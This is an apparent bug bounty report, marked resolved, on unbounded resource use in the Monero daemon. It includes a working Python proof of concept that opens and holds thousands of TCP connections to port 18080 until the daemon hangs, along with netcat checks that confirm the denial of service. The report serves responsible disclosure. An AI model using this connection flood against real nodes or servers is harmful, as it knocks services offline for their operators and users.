Excessive Resource Usage
M
Monero
Submitted None
Actions:
Reported by
talko
Vulnerability Details
Technical details and impact analysis
## Summary:
Unbounded resource usage due to open one file descriptor per connection, Python script below is effectively a threadbomb on the destination and uses all available memory on the server, clients not sending anything are never terminated.
## Steps To Reproduce:
Up our daemon
```
% monerod
```
Check if peer accepting connection
```
% nc -vz 127.0.0.1 18080
Connection to 127.0.0.1 18080 port [tcp/*] succeeded!
```
Create python script ex: resus.py
```python
import resource
import socket
import time
resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))
conn = []
while True:
try:
conn.append(socket.create_connection(("127.0.0.1", 18080)))
except BaseException as err:
print(err)
break
print(len(conn))
while True:
time.sleep(1)
```
run the script as ROOT(required for setting RLIMIT)
```
% sudo python resus.py
```
wait up 2 to minutes then run netcat again to check if our socket request bomb deny the service
```
% nc -vz 127.0.0.1 18080
```
now it's completely hang, during waiting you can run command ```lsof -i tcp``` to see lot of Monero connections
## Impact
Denial of Service(Allocation of Resources Without Limits or Throttling)
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption